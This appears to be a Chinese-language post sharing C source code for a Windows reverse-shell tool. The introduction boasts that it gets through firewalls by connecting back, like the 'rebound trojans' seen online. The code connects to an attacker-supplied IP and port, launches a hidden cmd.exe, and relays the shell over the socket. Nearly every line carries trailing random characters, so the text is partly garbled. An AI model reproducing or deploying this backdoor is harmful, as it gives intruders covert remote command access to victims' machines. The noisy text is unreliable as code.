这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 JH]K/sC>
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/* ============================== sK=}E=
Rebound port in Windows NT zMK](o1Vj
By wind,2006/7 &?p:3%;Dr
===============================*/ hsG#6?l3
#include M}"r#Plq
#include cM &'[CI
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#pragma comment(lib,"wsock32.lib") W {.78Zi9K
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void OutputShell(); h?yG<>wI
SOCKET sClient; *sfD#Bi]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o8FXqTUcs4
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void main(int argc,char **argv) }yEoEI`
{ E)t
WSADATA stWsaData; h:Ndzp{
int nRet; +MO E
SOCKADDR_IN stSaiClient,stSaiServer; VAYb=4lt
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if(argc != 3) ;? uC=o>Z{
{ FX,$_:f6Y
printf("Useage:\n\rRebound DestIP DestPort\n"); jlKGXD)Q[
return; af+}S9To
} T"E( F
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7-9;PkGG.A
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]~a_d)
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stSaiClient.sin_family = AF_INET;
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stSaiClient.sin_port = htons(0); D?+
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T }uE0Z,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `f ' C[a"
{ c%YDt`
printf("Bind Socket Failed!\n"); v`G U09
return; $M]%vG
} u2`xC4>c
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stSaiServer.sin_family = AF_INET; =
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J7a-CI_Tf
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TJ2/?p\x
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 2_olT_#
{ ^L~ [+|
printf("Connect Error!"); @]3*B%t
return; mvf
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} S.fXHtSx
OutputShell(); Z oTNm
} .D@/y uV
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void OutputShell() UIw?;:Y
{ 5~yb
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char szBuff[1024]; By/bVZks
SECURITY_ATTRIBUTES stSecurityAttributes; #6FaIq92V
OSVERSIONINFO stOsversionInfo; Nzc>)2% N
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <<BQYU)Ig
STARTUPINFO stStartupInfo; 'o8\`\'H!
char *szShell; !`h~`-]O
PROCESS_INFORMATION stProcessInformation; c20|Cx2m
unsigned long lBytesRead; `1p?*9Ssn
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vj@V
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &x/k^p=
stSecurityAttributes.lpSecurityDescriptor = 0; I!
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stSecurityAttributes.bInheritHandle = TRUE; .??rqaZ=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); B#H2RTc
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {G]`1Q1DR
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K \m4*dOv
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jM[f[
stStartupInfo.wShowWindow = SW_HIDE; 4}PeP^pj
stStartupInfo.hStdInput = hReadPipe; mc56L[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |<2JQ[]
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GetVersionEx(&stOsversionInfo); )da:&F -
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switch(stOsversionInfo.dwPlatformId) k4*! Q_A
{ (T`q++
case 1: <X9T-b"$h
szShell = "command.com"; Hm<M@M$aG
break; %!W6<ioW
default: JiUT\y
szShell = "cmd.exe"; 4I+.^7d
break; fLc!Sn.Y
} aq$62>[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gx&\Kw6HM
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send(sClient,szMsg,77,0); 5!2J;.&
while(1) +,:nm_kQU
{ 4E,hcu
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SIJ# ?0,
if(lBytesRead) CiHn;-b;
{ o7hH9iY
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); wZ}n3R,
send(sClient,szBuff,lBytesRead,0); FDZeIj9uF
} w@4t$bd7
else U=_~{[/
{ Nt?2USTs-
lBytesRead=recv(sClient,szBuff,1024,0); |
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if(lBytesRead<=0) break; Jq=X!mTd.
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8-W"4)@b
} y_;]=hEL
} 5n-9#J$
m.;{ 8AM%f
return; )<m=YI
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}